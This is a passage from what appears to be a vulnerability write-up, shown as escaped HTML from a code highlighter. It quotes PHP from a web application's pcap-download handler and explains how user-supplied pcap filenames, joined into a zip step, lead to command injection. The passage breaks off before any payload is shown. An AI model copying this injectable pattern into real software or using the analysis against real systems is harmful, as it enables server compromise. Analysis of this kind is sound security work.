class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">savedFile<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">doProxy<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c4fa542407220-29\"><span class=\"crayon-cn\">107<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">else<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c4fa542407220-30\"><span class=\"crayon-cn\">108<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-e\">send404<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c4fa542407220-31\"><span class=\"crayon-cn\">109<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">else<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c4fa542407220-32\"><span class=\"crayon-cn\">110<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-e\">send404<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c4fa542407220-33\"><span class=\"crayon-cn\">111<\/span><span class=\"crayon-h\"> <\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c4fa542407220-34\"><span class=\"crayon-cn\">112<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">else<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">!<\/span><span class=\"crayon-e\">empty<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">path<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c4fa542407220-35\"><span class=\"crayon-cn\">113<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">file_exists<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">path<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c4fa542407220-36\"><span class=\"crayon-cn\">114<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">!<\/span><span class=\"crayon-v\">SavedFile<\/span><span class=\"crayon-o\">::<\/span><span class=\"crayon-e\">VetFile<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">path<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">guitype<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c4fa542407220-37\"><span class=\"crayon-cn\">115<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-st\">return<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c4fa542407220-38\"><span class=\"crayon-cn\">116<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-e\">readfile<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">path<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c4fa542407220-39\"><span class=\"crayon-cn\">117<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">else<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c4fa542407220-40\"><span class=\"crayon-cn\">118<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-e\">send404<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c4fa542407220-41\"><span class=\"crayon-cn\">119<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0060 seconds] -->  <\/p>\n<p>The codepath that we are interested to hit is the pcapArray if, shown below. If we send a PHP array with several pcap parameters, the web application will ZIP these files before sending:<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-5b0c805d4c4fe185315668\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> 120   121         } else if (is_array($pcapArray)) {  122             $hostname = array_key_exists(&#8216;hostname&#8217;, $_REQUEST) ? $_REQUEST[&#8216;hostname&#8217;] : $_SERVER[&#8216;SERVER_ADDR&#8217;];  123             if (count($pcapArray) &gt; 1) {  124                 $basename = uniqid() . &#8220;.zip&#8221;;  125                 $zip_filename = $TEMP_DIR . &#8220;\/&#8221; . $basename;  126             } else {  127                 $zip_filename = $pcapArray[0][&#8216;pcap&#8217;];  128                 $basename = basename($zip_filename);  129   130             }  131   &#8230;  149   150             for($i = 0, $j = count($pcapArray); $i &lt; $j ; $i++) {  151                 $pcapFileList[] = $pcapArray[$i][&#8216;pcap&#8217;];  152             }  153   154             if (count($pcapArray) &gt; 1) {  155                 \/\/ More than one pcap, so zip up the files and send the zip  156                 $fileList = implode(&#8216; &#8216;, $pcapFileList);  157                 \/\/error_log(&#8220;filename &gt;&gt; &#8220;.$filename);  158                 \/\/error_log( print_r($fileList,TRUE) );<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c4fe185315668-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c4fe185315668-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c4fe185315668-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c4fe185315668-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c4fe185315668-5\">5<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c4fe185315668-6\">6<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c4fe185315668-7\">7<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c4fe185315668-8\">8<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c4fe185315668-9\">9<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c4fe185315668-10\">10<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c4fe185315668-11\">11<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c4fe185315668-12\">12<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c4fe185315668-13\">13<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c4fe185315668-14\">14<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c4fe185315668-15\">15<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c4fe185315668-16\">16<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c4fe185315668-17\">17<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c4fe185315668-18\">18<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c4fe185315668-19\">19<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c4fe185315668-20\">20<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c4fe185315668-21\">21<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c4fe185315668-22\">22<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c4fe185315668-23\">23<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c4fe185315668-1\"><span class=\"crayon-cn\">120<\/span><span class=\"crayon-h\"> <\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c4fe185315668-2\"><span class=\"crayon-cn\">121<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">else<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">is_array<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">pcapArray<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c4fe185315668-3\"><span class=\"crayon-cn\">122<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">hostname<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">array_key_exists<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8216;hostname&#8217;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">_REQUEST<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">?<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">_REQUEST<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;hostname&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">_SERVER<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;SERVER_ADDR&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c4fe185315668-4\"><span class=\"crayon-cn\">123<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">count<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">pcapArray<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c4fe185315668-5\"><span class=\"crayon-cn\">124<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">basename<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">uniqid<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;.zip&#8221;<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c4fe185315668-6\"><span class=\"crayon-cn\">125<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">zip_filename<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">TEMP<\/span><span class=\"crayon-sy\">_<\/span>DIR<span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;\/&#8221;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">basename<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c4fe185315668-7\"><span class=\"crayon-cn\">126<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">else<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c4fe185315668-8\"><span class=\"crayon-cn\">127<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">zip_filename<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">pcapArray<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;pcap&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c4fe185315668-9\"><span class=\"crayon-cn\">128<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">basename<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">basename<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">zip_filename<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c4fe185315668-10\"><span class=\"crayon-cn\">129<\/span><span class=\"crayon-h\"> <\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c4fe185315668-11\"><span class=\"crayon-cn\">130<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c4fe185315668-12\"><span class=\"crayon-cn\">131<\/span><span class=\"crayon-h\"> <\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c4fe185315668-13\"><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c4fe185315668-14\"><span class=\"crayon-cn\">149<\/span><span class=\"crayon-h\"> <\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c4fe185315668-15\"><span class=\"crayon-cn\">150<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-st\">for<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">i<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">j<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">count<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">pcapArray<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">i<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-i\">j<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">i<\/span><span class=\"crayon-o\">++<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c4fe185315668-16\"><span class=\"crayon-cn\">151<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">pcapFileList<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">pcapArray<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">i<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;pcap&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c4fe185315668-17\"><span class=\"crayon-cn\">152<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c4fe185315668-18\"><span class=\"crayon-cn\">153<\/span><span class=\"crayon-h\"> <\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c4fe185315668-19\"><span class=\"crayon-cn\">154<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">count<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">pcapArray<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c4fe185315668-20\"><span class=\"crayon-cn\">155<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-c\">\/\/ More than one pcap, so zip up the files and send the zip<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c4fe185315668-21\"><span class=\"crayon-cn\">156<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">fileList<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">implode<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8216; &#8216;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">pcapFileList<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c4fe185315668-22\"><span class=\"crayon-cn\">157<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-c\">\/\/error_log(&#8220;filename &gt;&gt; &#8220;.$filename);<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c4fe185315668-23\"><span class=\"crayon-cn\">158<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-c\">\/\/error_log( print_r($fileList,TRUE) );<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0034 seconds] -->  <\/p>\n<p>Which clearly leads to a command injection right here, using the pcap filenames:<\/p>\n<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-5b0c805d4c502761542422\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button 